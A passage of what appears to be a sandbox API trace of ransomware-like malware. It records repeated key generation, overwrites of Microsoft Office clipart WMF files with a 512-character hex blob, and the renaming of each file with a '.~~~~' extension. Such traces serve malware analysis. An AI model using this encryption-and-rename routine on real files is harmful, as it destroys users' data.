	[0090.934] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0090.934] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.934] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.934] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.935] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.935] CloseHandle (hObject=0x11c) returned 1
	[0090.935] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d0e88
	[0090.935] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01160_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01160_.wmf.~~~~")) returned 1
	[0090.935] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0090.936] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0090.936] GetLastError () returned 0x0
	[0090.936] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0090.937] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0090.937] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0090.937] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0090.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0090.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0090.937] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21092696588) returned 1
	[0090.937] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9ffa40d0, dwHighDateTime=0x1d60e1e)) 
	[0090.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0090.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0090.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0090.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x381d18
	[0090.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.937] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x381d18 | out: hHeap=0x300000) returned 1
	[0090.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.937] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d0e88
	[0090.937] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c8130
	[0090.937] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0090.937] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0090.938] GetLastError () returned 0x0
	[0090.938] GetLastError () returned 0x0
	[0090.938] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0090.938] GetLastError () returned 0x0
	[0090.938] GetLastError () returned 0x0
	[0090.940] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffff704, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.940] WriteFile (in: hFile=0x11c, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x8fc, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x1f8fec0*=0x8fc, lpOverlapped=0x0) returned 1
	[0090.940] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0090.940] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.940] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.940] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.940] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.940] CloseHandle (hObject=0x11c) returned 1
	[0090.940] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d0e88
	[0090.941] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf.~~~~")) returned 1
	[0090.941] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0090.941] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0090.941] GetLastError () returned 0x0
	[0090.941] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0090.942] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0090.942] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0090.942] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0090.942] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0090.942] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0090.942] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21093249332) returned 1
	[0090.942] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9ffca230, dwHighDateTime=0x1d60e1e)) 
	[0090.942] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0090.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0090.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0090.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x381d50
	[0090.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.943] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x381d50 | out: hHeap=0x300000) returned 1
	[0090.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.943] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d0e88
	[0090.943] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x382960
	[0090.943] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0090.943] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0090.943] GetLastError () returned 0x0
	[0090.943] GetLastError () returned 0x0
	[0090.943] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0090.943] GetLastError () returned 0x0
	[0090.943] GetLastError () returned 0x0
	[0090.952] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffff704, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.952] WriteFile (in: hFile=0x11c, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x8fc, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x1f8fec0*=0x8fc, lpOverlapped=0x0) returned 1
	[0090.952] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0090.952] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.952] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.953] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.953] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.953] CloseHandle (hObject=0x11c) returned 1
	[0090.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d15c0
	[0090.954] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01163_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01163_.wmf.~~~~")) returned 1
	[0090.955] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d15c0 | out: hHeap=0x300000) returned 1
	[0090.955] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0090.955] GetLastError () returned 0x0
	[0090.956] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x28d6e70) returned 1
	[0090.956] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0090.956] CryptReleaseContext (hProv=0x28d6e70, dwFlags=0x0) returned 1
	[0090.956] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0090.957] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0090.957] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0090.957] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21094670984) returned 1
	[0090.957] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9fff0390, dwHighDateTime=0x1d60e1e)) 
	[0090.957] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0090.957] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0090.957] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0090.957] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x381dc0
	[0090.957] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.957] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x381dc0 | out: hHeap=0x300000) returned 1
	[0090.957] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.957] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.957] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d15c0
	[0090.957] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.957] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3829f8
	[0090.957] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d15c0 | out: hHeap=0x300000) returned 1
	[0090.957] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0090.957] GetLastError () returned 0x0
	[0090.957] GetLastError () returned 0x0
	[0090.957] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0090.957] GetLastError () returned 0x0
	[0090.958] GetLastError () returned 0x0
	[0090.959] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff7e0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.959] WriteFile (in: hFile=0x128, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x820, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x1f8fec0*=0x820, lpOverlapped=0x0) returned 1
	[0090.960] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0090.960] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.960] WriteFile (in: hFile=0x128, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.960] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.960] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.960] CloseHandle (hObject=0x128) returned 1
	[0090.960] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1668
	[0090.960] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01167_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01167_.wmf.~~~~")) returned 1
	[0090.961] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1668 | out: hHeap=0x300000) returned 1
	[0090.961] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0090.961] GetLastError () returned 0x0
	[0090.961] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x28d6e70) returned 1
	[0090.962] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0090.962] CryptReleaseContext (hProv=0x28d6e70, dwFlags=0x0) returned 1
	[0090.962] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0090.962] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0090.962] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0090.962] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21095195299) returned 1
	[0090.962] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9fff0390, dwHighDateTime=0x1d60e1e)) 
	[0090.962] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0090.962] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0090.962] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0090.962] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x381df8
	[0090.962] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.962] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x381df8 | out: hHeap=0x300000) returned 1
	[0090.962] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.962] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.962] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1668
	[0090.962] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.962] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x382b28
	[0090.962] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1668 | out: hHeap=0x300000) returned 1
	[0090.962] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0090.963] GetLastError () returned 0x0
	[0090.963] GetLastError () returned 0x0
	[0090.963] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0090.963] GetLastError () returned 0x0
	[0090.963] GetLastError () returned 0x0
	[0090.964] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff82c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.965] WriteFile (in: hFile=0x128, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x7d4, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x1f8fec0*=0x7d4, lpOverlapped=0x0) returned 1
	[0090.965] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0090.965] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.965] WriteFile (in: hFile=0x128, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.965] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.965] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.965] CloseHandle (hObject=0x128) returned 1
	[0090.965] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0090.965] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01168_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01168_.wmf.~~~~")) returned 1
	[0090.966] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0090.966] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0090.966] GetLastError () returned 0x0
	[0090.967] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x28d6e70) returned 1
	[0090.968] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0090.968] CryptReleaseContext (hProv=0x28d6e70, dwFlags=0x0) returned 1
	[0090.968] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0090.968] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0090.968] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0090.968] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21095799131) returned 1
	[0090.968] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9fff0390, dwHighDateTime=0x1d60e1e)) 
	[0090.968] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0090.968] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0090.968] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0090.968] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x381e30
	[0090.968] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.968] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x381e30 | out: hHeap=0x300000) returned 1
	[0090.968] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.968] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.968] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0090.968] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.968] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x382bc0
	[0090.968] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0090.968] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0090.969] GetLastError () returned 0x0
	[0090.969] GetLastError () returned 0x0
	[0090.969] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0090.969] GetLastError () returned 0x0
